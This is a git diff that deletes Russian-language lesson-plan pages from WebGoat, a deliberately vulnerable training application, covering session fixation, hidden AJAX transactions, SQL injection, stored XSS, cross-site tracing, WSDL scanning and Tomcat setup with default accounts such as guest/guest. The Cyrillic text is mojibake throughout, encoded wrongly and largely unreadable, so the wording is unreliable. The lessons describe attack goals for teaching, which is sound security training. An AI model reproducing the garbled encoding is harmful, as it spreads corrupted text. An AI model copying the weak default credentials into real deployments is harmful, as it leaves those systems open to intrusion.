-Как работает данный вид атак: -

-Сервер может опознать конкретного Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ Ð¿Ð¾ уникальному идентификатору ÑеÑÑии. -Это позволÑет клиентам проходить поцедуру авторизации вÑего 1 раз, а затем уже обращатьÑÑ Ðº -приложению как авторизированное лицо. Ð’ некоторых приложениÑÑ… идентификатор ÑеÑÑии -передаётÑÑ Ð² ÑÑылках, в качеÑтве одного из параметров GET-запроÑа. ЗдеÑÑŒ и начинаютÑÑ Ð³Ð»Ð°Ð²Ð½Ñ‹Ðµ проблемы. -

-Ðтакующий может поÑлать жертве гипер-ÑÑылку Ñодеращую в Ñебе любой -идентификатор ÑеÑÑии. Это может быть Ñделано, например, через почтовое -Ñообщение, которое выглÑдит как обращение админиÑтрации Ñайта. -Когда жертва, кликнув по ней, попадёт на Ñайт и пройдёт авторизацию, то идентификатор ÑеÑÑии, выбранный -злоумышленником, Ñтанет идентификатором авторизованного пользователÑ-жертвы. -Ðтакующий может пройти по любой ÑÑылке передав Ñерверу Ñтот же идентификатор, -и Ñможет дейÑтвовать от чужого имени. -
-

ОÑновные цели и задачи:

- -Урок имеет неÑколько Ñтадий. Ð’Ñ‹ играете роль и атакующего и жертвы. -К концу урока вы поймёте что передача идентификаторов ÑеÑÑий в ÑÑылках -ÑвлÑетÑÑ Ð¾Ñ‡ÐµÐ½ÑŒ плохой практикой. - - diff --git a/src/main/webapp/lesson_plans/ru/SilentTransactions.html b/src/main/webapp/lesson_plans/ru/SilentTransactions.html deleted file mode 100644 index d1d15675d..000000000 --- a/src/main/webapp/lesson_plans/ru/SilentTransactions.html +++ /dev/null @@ -1,27 +0,0 @@ -
-

Ðазвание урока: Ðтаки ÑвÑзанные Ñо Ñкрытыми операциÑми.

-
- -

Тема Ð´Ð»Ñ Ð¸Ð·ÑƒÑ‡ÐµÐ½Ð¸Ñ:

-Ðа данном уроке вы поймёте как оÑущеÑтвлÑÑŽÑ‚ÑÑ Ð°Ñ‚Ð°ÐºÐ¸ ÑвÑзанные Ñо Ñкрытыми операциÑми. -
-
-

-Как работают атаки такого рода: -

-Ðекоторые Ð¿Ñ€Ð¸Ð»Ð¾Ð¶ÐµÐ½Ð¸Ñ Ð¿Ñ€Ð¾Ð¸Ð·Ð²Ð¾Ð´ÑÑ‚ манипулÑции Ñ Ñ‡ÑƒÐ²Ñтвительными пользовательÑкими данными (например Ñ Ð´ÐµÐ½ÑŒÐ³Ð°Ð¼Ð¸) -в Ñкрытом виде еÑли получат разрешение на Ñто Ñ…Ð¾Ñ‚Ñ Ð±Ñ‹ один раз. Это таит множеÑтво опаÑноÑтей. -Ðапример, в проÑтом веб-приложении Ð´Ð»Ñ Ñ‚Ð¾Ð³Ð¾ чтоб от имени клиента обратитьÑÑ Ðº любому URL необходимо -получить его идентификатор ÑеÑÑии (или другие данные, которые обеÑпечат необходимую идентификацию). -Ð’ Ñлучае Ñ AJAX вÑÑ‘ намного проще: обращение к Ñерверу может проиÑходить в Ñкрытом режиме без Ð¾Ð¿Ð¾Ð²ÐµÑ‰ÐµÐ½Ð¸Ñ Ð¾Ð± Ñтом пользователÑ. -Следовательно, внедрённый каким-либо образом в такую Ñтраницу вредоноÑный Ñкрипт может оÑущеÑтвлÑть важные -операции Ñовершенно незаметно Ð´Ð»Ñ ÐºÐ»Ð¸ÐµÐ½Ñ‚Ð°. Ðапример переводить его деньги Ñо Ñчёта на Ñчёт.
-
-

ОÑновные цели и задачи:

- -* Это проÑтейшее приложение интернет-банкинга - Ñтраница перевода денег.
-* ЗдеÑÑŒ отображаетÑÑ Ñумма находÑщаÑÑÑ Ð½Ð° баланÑе, поле Ð´Ð»Ñ Ð²Ð²Ð¾Ð´Ð° аккаунта, которому деньги будут переведены, и поле -Ð´Ð»Ñ Ñуммы перевода.
-* Приложение иÑпользует AJAX Ð´Ð»Ñ Ð¾Ñ‚Ð¿Ñ€Ð°Ð²ÐºÐ¸ транзакции поÑле Ð¿Ñ€Ð¾Ð²ÐµÐ´ÐµÐ½Ð¸Ñ Ñлементарной проверки данных на клиентÑкой Ñтороне.
-* Ваша цель - попробовать оÑущеÑтвить от имени Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ Ð´ÐµÐ½ÐµÐ¶Ð½Ñ‹Ð¹ перевод в Ñкрытом виде.
- diff --git a/src/main/webapp/lesson_plans/ru/SoapRequest.html b/src/main/webapp/lesson_plans/ru/SoapRequest.html deleted file mode 100644 index 176260bcd..000000000 --- a/src/main/webapp/lesson_plans/ru/SoapRequest.html +++ /dev/null @@ -1,15 +0,0 @@ -
-

Ðазвание урока: ОÑущеÑтвление SOAP-запроÑов

-
-

Тема Ð´Ð»Ñ Ð¸Ð·ÑƒÑ‡ÐµÐ½Ð¸Ñ:

- -Веб-ÑервиÑÑ‹ общаютÑÑ Ð¼ÐµÐ¶Ð´Ñƒ Ñобой Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ SOAP-запроÑов. Эти запроÑÑ‹ отправлÑÑŽÑ‚ÑÑ -на веб-ÑÐµÑ€Ð²Ð¸Ñ Ð¸ вызывают выполнение некоторых функций опиÑанных в WSDL-файлах. -РаÑÑмотрим их подробнее. У WebGoat еÑть Ñвой WSDL-файл, над которым -вы можете поÑкÑпериментировать. - -

ОÑновные цели и задачи:

-Попробуйте ÑоединитьÑÑ Ñ WSDL Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ браузера или какой-нибудь утилиты Ð´Ð»Ñ Ñ€Ð°Ð±Ð¾Ñ‚Ñ‹ Ñ -веб-ÑервиÑами. URL ÑервиÑа http://localhost/WebGoat/services/SoapRequest . WSDL -может быть вызван добавлением в конец URL фразы ?WSDL. - \ No newline at end of file diff --git a/src/main/webapp/lesson_plans/ru/SqlNumericInjection.html b/src/main/webapp/lesson_plans/ru/SqlNumericInjection.html deleted file mode 100644 index d8a13b346..000000000 --- a/src/main/webapp/lesson_plans/ru/SqlNumericInjection.html +++ /dev/null @@ -1,22 +0,0 @@ -
-

Ðазвание урока: Проведение чиÑловых SQL-инъекций

-
- -

Тема Ð´Ð»Ñ Ð¸Ð·ÑƒÑ‡ÐµÐ½Ð¸Ñ:

- -SQL-инъекции предÑтавлÑÑŽÑ‚ из ÑÐµÐ±Ñ Ð¾Ñ‡ÐµÐ½ÑŒ Ñерьёзную угрозу Ð´Ð»Ñ Ñайтов оÑнованных на БД. -Методы их иÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð´Ð¾Ñтаточно легки в оÑвоении, а ущерб Ñоздаваемый ими огромен и -при определённых уÑловиÑÑ… может произойти к компрометации вÑей ÑиÑтемы. Тем не менее, -количеÑтво интернет-Ñайтов Ñ ÑƒÑзвимоÑÑ‚Ñми данного типа поÑтоÑнно раÑтёт. -

-Ðа Ñамом деле вÑегда можно избежать поÑÐ²Ð»ÐµÐ½Ð¸Ñ ÑƒÑзвимоÑтей Ñтого клаÑÑа -еÑли в процеÑÑе напиÑÐ°Ð½Ð¸Ñ Ð¿Ñ€Ð¸Ð»Ð¾Ð¶ÐµÐ½Ð¸Ð¹ Ñоблюдать общие меры предоÑторожноÑти. -Ðапример фильтровать вÑе поÑтупающие от Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ Ð´Ð°Ð½Ð½Ñ‹Ðµ. ОÑобенно те, которые -будут помещены в SQL-запроÑÑ‹. -
-

ОÑновные цели:

-РаÑÐ¿Ð¾Ð»Ð¾Ð¶ÐµÐ½Ð½Ð°Ñ Ð½Ð¸Ð¶Ðµ форма позволÑет пользователÑм Ñмотреть данные о погоде. -Вам необходимо Ñ ÐµÑ‘ помощью обнаружить в теÑтовом приложении уÑзвимоÑть. -Ð”Ð»Ñ Ð¿Ð¾Ð´Ñказки чуть ниже выводитÑÑ Ð¸Ñ‚Ð¾Ð³Ð¾Ð²Ñ‹Ð¹ запроÑ, который получаетÑÑ Ð½Ð° -Ñтороне Ñервера. - \ No newline at end of file diff --git a/src/main/webapp/lesson_plans/ru/SqlStringInjection.html b/src/main/webapp/lesson_plans/ru/SqlStringInjection.html deleted file mode 100644 index 4b329edea..000000000 --- a/src/main/webapp/lesson_plans/ru/SqlStringInjection.html +++ /dev/null @@ -1,22 +0,0 @@ -
-

Ðазвание урока: Как иÑпользовать Ñтроковые SQL-инекции

-
- -

Тема Ð´Ð»Ñ Ð¸Ð·ÑƒÑ‡ÐµÐ½Ð¸Ñ:

- -SQL-инъекции предÑтавлÑÑŽÑ‚ из ÑÐµÐ±Ñ Ð¾Ñ‡ÐµÐ½ÑŒ Ñерьёзную угрозу Ð´Ð»Ñ Ñайтов оÑнованных на БД. -Методы их иÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð´Ð¾Ñтаточно легки в оÑвоении, а ущерб Ñоздаваемый ими огромен и -при определённых уÑловиÑÑ… может произойти к компрометации вÑей ÑиÑтемы. Тем не менее, -количеÑтво интернет-Ñайтов Ñ ÑƒÑзвимоÑÑ‚Ñми данного типа поÑтоÑнно раÑтёт. -

-Ðа Ñамом деле вÑегда можно избежать поÑÐ²Ð»ÐµÐ½Ð¸Ñ ÑƒÑзвимоÑтей Ñтого клаÑÑа -еÑли в процеÑÑе напиÑÐ°Ð½Ð¸Ñ Ð¿Ñ€Ð¸Ð»Ð¾Ð¶ÐµÐ½Ð¸Ð¹ Ñоблюдать общие меры предоÑторожноÑти. -Ðапример фильтровать вÑе поÑтупающие от Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ Ð´Ð°Ð½Ð½Ñ‹Ðµ. ОÑобенно те, которые -будут помещены в SQL-запроÑÑ‹. -
-
-

ОÑновные цели и задачи:

-РаÑÐ¿Ð¾Ð»Ð¾Ð¶ÐµÐ½Ð½Ð°Ñ Ð½Ð¸Ð¶Ðµ форма позволÑет пользователÑм проÑматривать их номера кредитных карт. -Попробуйте внеÑти SQL-выражение в поле фамилии. ПоÑле отправки формы вы чуть ниже увидите итоговый -SQL-запроÑ, который ÑформируетÑÑ Ð² приложении. Ð’ качеÑтве Ñамой фамилии иÑпользуйте 'Smith'. - \ No newline at end of file diff --git a/src/main/webapp/lesson_plans/ru/StoredXss.html b/src/main/webapp/lesson_plans/ru/StoredXss.html deleted file mode 100644 index 8d0b9e06e..000000000 --- a/src/main/webapp/lesson_plans/ru/StoredXss.html +++ /dev/null @@ -1,14 +0,0 @@ -
-

Ðазвание урока: Проведение хранимых XSS

-
-

Тема Ð´Ð»Ñ Ð¸Ð·ÑƒÑ‡ÐµÐ½Ð¸Ñ:

- -Хорошей практикой вÑегда ÑчиталаÑÑŒ очиÑтка вÑех входÑщих данных, оÑобенно когда -их Ñодержимое будут иÑпользовано в качеÑтве команд ОС, Ñкриптов или запроÑов к -БД. Это важно и Ð´Ð»Ñ Ñ‚ÐµÑ… данных, которые будут Ñохранены где-то -внутри приложениÑ. ПоÑетители не должны иметь возможноÑть публикации на Ñайте -таких Ñообщений, которые могут изменÑть Ñтруктуру Ñтраницы при их проÑмотре. - -

ОÑновные цели и задачи:

-Ð’Ñ‹ должны добавить такое Ñообщение, которое при проÑмотре другим пользователем будет формировать -на данной Ñтранице поддельное Ñодержимое. \ No newline at end of file diff --git a/src/main/webapp/lesson_plans/ru/ThreadSafetyProblem.html b/src/main/webapp/lesson_plans/ru/ThreadSafetyProblem.html deleted file mode 100644 index c10a9b044..000000000 --- a/src/main/webapp/lesson_plans/ru/ThreadSafetyProblem.html +++ /dev/null @@ -1,35 +0,0 @@ - - - - - - План урока - - - -
-

Ðазвание урока: Как ÑкÑплуатировать проблемы одновременной работы неÑкольких потоков.

-
- -

Тема Ð´Ð»Ñ Ð¸Ð·ÑƒÑ‡ÐµÐ½Ð¸Ñ:

- -Веб-Ð¿Ñ€Ð¸Ð»Ð¾Ð¶ÐµÐ½Ð¸Ñ Ð¼Ð¾Ð³ÑƒÑ‚ обрабатывать множеÑтво HTTP-запроÑов одновременно. -ЧаÑто разработчики иÑпользуют конÑтрукции не приÑпоÑобленные к многопоточной работе, и -Ñто Ñоздаёт возможноÑть иÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð¾ÑˆÐ¸Ð±Ð¾Ðº ÑвÑзанных Ñ Ð¾Ð´Ð½Ð¾Ð²Ñ€ÐµÐ¼ÐµÐ½Ð½Ñ‹Ð¼Ð¸ обращениÑми. -Ðапример когда одна и та же Ñтраница открываетÑÑ Ð¾Ð´Ð½Ð¾Ð²Ñ€ÐµÐ¼ÐµÐ½Ð½Ð¾ разными пользователÑми и один их них видит -на ней данные другого. -Под приÑпоÑобленноÑтью к многопоточной работе подразумеваетÑÑ ÑпоÑобноÑть полей клаÑÑов и объектов -вÑегда находитьÑÑ Ð² верном ÑоÑтоÑнии при выполнении множеÑтва одних и тех же операций вызываемых -разными потоками. ПоÑкольку вÑе потоки иÑпользуют одно и то же рабочее проÑтранÑтво вызываемых методов, и в данном -проÑтранÑтве хранÑÑ‚ÑÑ Ð´Ð°Ð½Ð½Ñ‹Ðµ вÑех ÑвойÑтв отдельно взÑтых клаÑÑов, то множеÑтвенные одновременные попытки -обращений к ним могут привеÑти к неожиданным результатам. -
- -

ОÑновные цели:

-Ð’ приложении урока пользователь может воÑпользоватьÑÑ ÑƒÑзвимоÑтю данного типа Ð´Ð»Ñ Ñ‚Ð¾Ð³Ð¾ чтобы проÑматривать -авторизационные данные другого пользователÑ, еÑли одновременно Ñ Ð½Ð¸Ð¼ попытаетÑÑ Ð²Ñ‹Ð·Ð²Ð°Ñ‚ÑŒ одну -и ту же функцию. -ЗдеÑÑŒ вам придётÑÑ Ð¸Ñпользовать два браузера. -
- - diff --git a/src/main/webapp/lesson_plans/ru/TomcatSetup.html b/src/main/webapp/lesson_plans/ru/TomcatSetup.html deleted file mode 100644 index b125e4a24..000000000 --- a/src/main/webapp/lesson_plans/ru/TomcatSetup.html +++ /dev/null @@ -1,110 +0,0 @@ - -

ÐаÑтройка Tomcat



-

Введение

-

WebGoat раÑпроÑтранÑетÑÑ Ñ ÐºÐ¾Ð½Ñ„Ð¸Ð³ÑƒÑ€Ð°Ñ†Ð¸ÐµÐ¹ Tomcat по умолчанию. Ðа данной Ñтранице вы найдёте её короткое опиÑание и -ÑпиÑок возможных вариантов различных наÑтроек. Ð’ ÑлучаÑÑ… когда данное опиÑание вам не помогает обращайтеÑÑŒ к официальной -документации Tomcat. -Кроме того, нужно Ñказать что вÑÑ‘ нижеопиÑанное отноÑитÑÑ Ðº Ñтандартной конфигурации Ñервера работающего на 80-ом порту. -ЕÑли вы иÑпользуете Ð´Ð»Ñ Ñервера другой порт, то вам необходимо будет изменить конфигурацию ÑоответÑтвующим образом. -

- -

Ð¡Ñ‚Ð°Ð½Ð´Ð°Ñ€Ñ‚Ð½Ð°Ñ ÐºÐ¾Ð½Ñ„Ð¸Ð³ÑƒÑ€Ð°Ñ†Ð¸Ñ

-

ЗдеÑÑŒ имеетÑÑ Ð´Ð²Ðµ Ñтандартных конфигурации Tomcat. При их иÑпользовании доÑтуп к Ñерверу можно получить обращаÑÑÑŒ к хоÑту localhost. -Они полноÑтью идентичны, за иÑключением того что в первом Ñлучае ÑервиÑÑ‹ Tomcat запуÑкаютÑÑ Ð½Ð° портах 80 и 443 (SSL), а во втором - -на портах 8080 и 8443. Ð’ Linux вы должны запуÑтить WebGoat как root или Ñ Ð¸Ñпользованием sudo еÑли хотите чтоб он работал на портах -80 и 443. -Помните, что запуÑк ПО из под root`а очень опаÑное занÑтие, поÑтому мы наÑтоÑтельно рекомендуем иÑпользовать порты 8080 и 8443. -Ð’ Windows вы можете запуÑтить WebGoat.bat Ð´Ð»Ñ Ñ€Ð°Ð±Ð¾Ñ‚Ñ‹ на 80-ом порту, или же WebGoat_8080.bat Ð´Ð»Ñ Ñ€Ð°Ð±Ð¾Ñ‚Ñ‹ на порту 8080. -Ð’ Linux ту же Ñамую работу выполнÑет Ñкрипт WebGoat.sh и Ð´Ð»Ñ Ñ‚Ð¾Ð³Ð¾ же результата его необходимо запуÑтить либо командой -"webgoat.sh start80", либо "webgoat.sh start8080". Пользователь, Ð´Ð»Ñ Ð´Ð¾Ñтупа к приложению, -в Ñтандартной конфигурации - guest Ñ Ð¿Ð°Ñ€Ð¾Ð»ÐµÐ¼ guest. -

- -

ÐаÑтройка Ñервера

-

-ЕÑли вы единÑтвенный кто будет иÑпользовать WebGoat, то Ñтандартной конфигурации вам -будет вполне доÑтаточно. ЕÑли же вы будете запуÑкать его в лаборатории или клаÑÑе, то конфигурацию -нужно будет менÑть. Перед Ñтим Ñоветуем вам Ñделать её резервную копию. -

- -

Изменение портов

-

- Ð”Ð»Ñ Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ñ Ð¿Ð¾Ñ€Ñ‚Ð¾Ð² откройте файл server_80.xml, котрый можно найти в tomcat/conf, и измените - не-SSL порт. Ðапример, еÑли вы хотите иÑпользовать порт 8079: -

- -
-	<!-- Define a non-SSL HTTP/1.1 Connector on port 8079 --> 
-	<Connector address="127.0.0.1" port="8079"...
-
-

-Конечно же вы можете изменить и порт SSL-ÑоединениÑ. Вот пример переноÑа SSL на порт 8442: -

-
-	<!-- Define a SSL HTTP/1.1 Connector on port 8442 --> 
-	<Connector address="127.0.0.1" port="8442"... 
-
-
- -

Делаем WebGoat доÑтупным Ð´Ð»Ñ Ð½ÐµÑкольких клиентов.

-

ЭТО ОТКРЫВÐЕТ Ð’ÐШ СЕРВЕР ДЛЯ РЕÐЛЬÐЫХ ÐТÐК ИЗ Ð’ÐЕ! ÐЕ ДЕЛÐЙТЕ ЭТОГО ЕСЛИ ВЫ ÐÐ 100% - ÐЕ УВЕРЕÐЫ Ð’ ÐЕОБХОДИМОСТИ ДÐÐÐОГО ШÐГÐ. ЭТРКОÐФИГУРÐЦИЯ МОЖЕТ БЫТЬ ИСПОЛЬЗОВÐÐРТОЛЬКО - Ð’ ДОВЕРЕÐÐЫХ СЕТЯХ. -

-

По умолчанию WebGoat доÑтупен только при обращении к хоÑту localhost. Ð’ лаборатории или клаÑÑе -у Ð²Ð°Ñ Ð¼Ð¾Ð¶ÐµÑ‚ возникнуть необходимоÑть организовать Ñервер Ñ Ð¼Ð½Ð¾Ð¶ÐµÑтвом клиентов. Ð’ данном Ñлучае -вы можете наÑтроить WebGoat ÑоответÑтвующим образом. -

-

Причина того что WebGoat доÑтупен только на localhost - параметр address тега Connector в файле server_80.xml. - Изначально его значение уÑтановлено в 127.0.0.1 . При запуÑке приложение начинает проверÑть пропиÑанные в наÑтройках порты - только на Ñтом адреÑе и принимает ÑÐ¾ÐµÐ´Ð¸Ð½ÐµÐ½Ð¸Ñ ÐµÑли они поÑвлÑÑŽÑ‚ÑÑ. ЕÑли вы удалите данный параметр, то приложение - начнёт проÑлушивать ÑоответÑтвующие порты на вÑех доÑтупных IP-адреÑах. -

- -

Разрешение Ñоединений только от определённых клиентов

-

-Выше опиÑывалÑÑ ÑпоÑоб Ñ€Ð°Ð·Ñ€ÐµÑˆÐµÐ½Ð¸Ñ Ñоединений Ñ WebGoat Ð´Ð»Ñ Ð»ÑŽÐ±Ñ‹Ñ… клиентов. -ЕÑли вы хотите разрешить доÑтуп к приложению только Ñ Ð¾Ð¿Ñ€ÐµÐ´ÐµÐ»Ñ‘Ð½Ð½Ñ‹Ñ… адреÑов, воÑпользуйтеÑÑŒ -фильтром удалённых адреÑов (Remote Address Filter). Ð”Ð»Ñ Ñтого добавьте Ñледующюю Ñтроку -в файл web_80.xml: -

-
-	<Valve className="org.apache.catalina.valves.RemoteAddrValve"
-	allow="127.0.0.1,ip1,ip2"/>
-
-

Ð’ Ñтом Ñлучае только localhost, ip1 и ip2 Ñмогут уÑтанавливать ÑÐ¾ÐµÐ´Ð¸Ð½ÐµÐ½Ð¸Ñ Ñ Ñервером.

- -

Стандартные пользователи WebGoat и роли Ð´Ð»Ñ Tomcat

-

-WebGoat`у Ð´Ð»Ñ Ð½Ð¾Ñ€Ð¼Ð°Ð»ÑŒÐ½Ð¾Ð¹ работы необходимо наличие Ñледующих пользователей и ролей: -
-

-  >role rolename="webgoat_basic"/<
-  >role rolename="webgoat_admin"/<
-  >role rolename="webgoat_user"/<
-  >user username="webgoat" password="webgoat" roles="webgoat_admin"/<
-  >user username="basic" password="basic" roles="webgoat_user,webgoat_basic"/<
-  >user username="guest" password="guest" roles="webgoat_user"/<
-  
-

-

Добавление пользователей

-

-Обычно Ð´Ð»Ñ Ð½Ð¾Ñ€Ð¼Ð°Ð»ÑŒÐ½Ð¾Ð¹ работы Ñ WebGoat вам доÑтаточно будет Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ guest Ñ Ð¿Ð°Ñ€Ð¾Ð»ÐµÐ¼ guest. -Ðо когда вы развернёте его в лоборатории или клаÑÑе может возникнуть необходимоÑть ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ð¾Ñ‚Ð´ÐµÐ»ÑŒÐ½Ð¾Ð³Ð¾ -Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ Ð´Ð»Ñ ÐºÐ°Ð¶Ð´Ð¾Ð³Ð¾ клиента. Ð”Ð»Ñ Ñтого вам необходимо изменить файл tomcat-users.xml, которых находитÑÑ Ð² tomcat/conf. -Мы наÑтоÑтельно не рекомендуем хранить реальные дейÑтвующие пароли в данном файле Ñ‚.к. -там они пропиÑываютÑÑ Ð² виде проÑтого текÑта! -

-

Добавление пользователÑ

-

- Процедура Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ Ð¾Ñ‡ÐµÐ½ÑŒ проÑта. Ð’ качеÑтве наглÑдного примера вы можете иÑпользовать - Ñтроку Ñ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»ÐµÐ¼ guest. Помните что каждый вновь добавлÑемый пользователь должен иметь определённую роль. - Ð”Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ð½Ð¾Ð²Ñ‹Ñ… аккаунтов впишите в вышеуказанный файл Ñтроки типа Ñтих: -

-
-	<user name="student1" password="password1" roles="webgoat_user"/>
-	<user name="student2" password="password2" roles="webgoat_user"/>
-	...
-
- - \ No newline at end of file diff --git a/src/main/webapp/lesson_plans/ru/TraceXSS.html b/src/main/webapp/lesson_plans/ru/TraceXSS.html deleted file mode 100644 index 08168f249..000000000 --- a/src/main/webapp/lesson_plans/ru/TraceXSS.html +++ /dev/null @@ -1,14 +0,0 @@ -
-

Ðазвание урока: Проведение XST-атак (Cross Site Tracing/Trace-XSS)

-
-

Тема Ð´Ð»Ñ Ð¸Ð·ÑƒÑ‡ÐµÐ½Ð¸Ñ:

- -Хорошей практикой вÑегда ÑчиталаÑÑŒ очиÑтка вÑех входÑщих данных, оÑобенно когда -их Ñодержимое будут иÑпользовано в качеÑтве команд ОС, Ñкриптов или запроÑов к -БД. Это важно и Ð´Ð»Ñ Ñ‚ÐµÑ… данных, которые будут Ñохранены где-то -внутри приложениÑ. ПоÑетители не должны иметь возможноÑть публикации на Ñайте -таких Ñообщений, которые могут изменÑть Ñтруктуру Ñтраницы при их проÑмотре. -

ОÑновные цели:

-Tomcat наÑтроен на поддержку команды HTTP TRACE. Ваша цель Ñ ÐµÑ‘ помощью оÑущеÑтвить -XST-нападение. - \ No newline at end of file diff --git a/src/main/webapp/lesson_plans/ru/UncheckedEmail.html b/src/main/webapp/lesson_plans/ru/UncheckedEmail.html deleted file mode 100644 index 0b70a3f27..000000000 --- a/src/main/webapp/lesson_plans/ru/UncheckedEmail.html +++ /dev/null @@ -1,12 +0,0 @@ -
-

Ðазвание урока: ИÑпользование непроверÑемых почтовых Ñообщений

-
-

Тема Ð´Ð»Ñ Ð¸Ð·ÑƒÑ‡ÐµÐ½Ð¸Ñ:

- -Многие Ñайты позволÑÑŽÑ‚ не аутентифицированным пользователÑм отправлÑть почтовые -ÑÐ¾Ð¾Ð±Ñ‰ÐµÐ½Ð¸Ñ Ñвоим "друзьÑм". Такие Ñайты предÑтавлÑÑŽÑ‚ из ÑÐµÐ±Ñ Ñ…Ð¾Ñ€Ð¾ÑˆÐ¸Ð¹ инÑтрумент -Ð´Ð»Ñ Ñпамеров, которые получают возможноÑть Ñлать рекламу Ñ Ð¸Ñпользованием -почтового Ñервера компании. - -

ОÑновные цели и задачи:

-Пользователь должен отоÑлать любое почтовое Ñообщение. diff --git a/src/main/webapp/lesson_plans/ru/UsefulTools.html b/src/main/webapp/lesson_plans/ru/UsefulTools.html deleted file mode 100644 index 74bfe257d..000000000 --- a/src/main/webapp/lesson_plans/ru/UsefulTools.html +++ /dev/null @@ -1,46 +0,0 @@ - - -

ИÑпользуемые инÑтрументы

-

-Ðиже находитÑÑ ÑпиÑок инÑтрументов, которые, по нашему мнению, могут вам пригодитьÑÑ Ð¿Ñ€Ð¸ прохождении уроков WebGoat. -Ð”Ð»Ñ Ð²Ñ‹Ð¿Ð¾Ð»Ð½ÐµÐ½Ð¸Ñ Ð±Ð¾Ð»ÑŒÑˆÐ¸Ð½Ñтва заданий вам понадобитÑÑ WebScarab или Paros.

-

WebScarab:

-

-Как и WebGoat, WebScarab - Ñто чаÑть OWASP. Он предÑтавлÑет из ÑÐµÐ±Ñ Ð¿Ñ€Ð¾ÐºÑи-Ñервер -Ð´Ð»Ñ Ð¸ÑÑÐ»ÐµÐ´Ð¾Ð²Ð°Ð½Ð¸Ñ Ð¿Ñ€Ð¸Ð»Ð¾Ð¶ÐµÐ½Ð¸Ð¹ иÑпользующих протоколы HTTP и HTTPS. Так как WebScarab -ÑвлÑетÑÑ Ð¿ÐµÑ€ÐµÑ…Ð²Ð°Ñ‚Ñ‹Ð²Ð°ÑŽÑ‰Ð¸Ð¼ прокÑи-Ñервером, то мы Ñ ÐµÐ³Ð¾ помощью можем проÑматривать и изменÑть -Ñодержимое запроÑов и ответов на них. -

-

-Его Ñтраничка:http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project -

-

Firebug:

-

-Firebug - Ñто дополнение к браузеру Firefox. Мы можем иÑпользовать его Ð´Ð»Ñ Ð¿Ñ€Ð¾Ð²ÐµÑ€ÐºÐ¸, Ñ€ÐµÐ´Ð°ÐºÑ‚Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ Ð¸ мониторинга CSS, HTML и JavaScript.

-

-Его Ñтраничка:http://www.getfirebug.com -

-

IEWatch:

-

-IEWatch - Ñто утилита Ð´Ð»Ñ Ð°Ð½Ð°Ð»Ð¸Ð·Ð° HTTP и HTML Ð´Ð»Ñ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»ÐµÐ¹ Internet Explorer.

-

-Её Ñтраничка:http://www.iewatch.com -

-

Wireshark

-

-Wireshark - Ñто анализатор Ñетевого трафика. С его помощью вы можете отлавливать Ñетевой трафик и получать из него интереÑную информацию.

-

-Его Ñтраничка:http://www.wireshark.org - -

- -

Сканнер:

-

-Ð’ данный момент имеетÑÑ Ð±Ð¾Ð»ÑŒÑˆÐ¾Ðµ количеÑтво Ñканеров Ð´Ð»Ñ Ð²ÐµÐ±-приложений. Они могут находить XSS, инъективные и другие уÑзвимоÑти. -Ðиже предÑтавлены ÑÑылки на два Ñканера Ñ Ð¾Ñ‚ÐºÑ€Ñ‹Ñ‚Ñ‹Ð¼ иÑходным кодом. -

-Nessus:http://www.nessus.org
-Paros:http://www.parosproxy.org
-

- -
diff --git a/src/main/webapp/lesson_plans/ru/WSDLScanning.html b/src/main/webapp/lesson_plans/ru/WSDLScanning.html deleted file mode 100644 index 3cf7105aa..000000000 --- a/src/main/webapp/lesson_plans/ru/WSDLScanning.html +++ /dev/null @@ -1,13 +0,0 @@ -
-

Ðазвание урока: ОÑущеÑтвление WSDL-ÑканиорваниÑ

-
-

Тема Ð´Ð»Ñ Ð¸Ð·ÑƒÑ‡ÐµÐ½Ð¸Ñ:

- - -Веб-ÑервиÑÑ‹ общаютÑÑ Ð¼ÐµÐ¶Ð´Ñƒ Ñобой Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ SOAP-запроÑов. Эти запроÑÑ‹ отправлÑÑŽÑ‚ÑÑ -на веб-ÑÐµÑ€Ð²Ð¸Ñ Ð¸ вызывают выполнение некоторых функций опиÑанных в WSDL-файлах. -

ОÑновные цели и задачи:

-Ðиже раÑположена форма ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ñ€Ð°Ð±Ð¾Ñ‚Ð°ÐµÑ‚ Ñ ÑƒÐ¶Ðµ извеÑтным вам веб-ÑервиÑом -через его API. Внимательно изучите WSDL-файл и попробуйте отправить форму так, -чтоб ÑÐµÑ€Ð²Ð¸Ñ Ð²ÐµÑ€Ð½ÑƒÐ» вам номера кредитных карт неÑкольких заказчиков. - \ No newline at end of file diff --git a/src/main/webapp/lesson_plans/ru/WeakAuthenticationCookie.html b/src/main/webapp/lesson_plans/ru/WeakAuthenticationCookie.html deleted file mode 100644 index fb97ecbed..000000000 --- a/src/main/webapp/lesson_plans/ru/WeakAuthenticationCookie.html +++ /dev/null @@ -1,19 +0,0 @@ -
-

Ðазвание урока: How to Spoof an Authentication Cookie
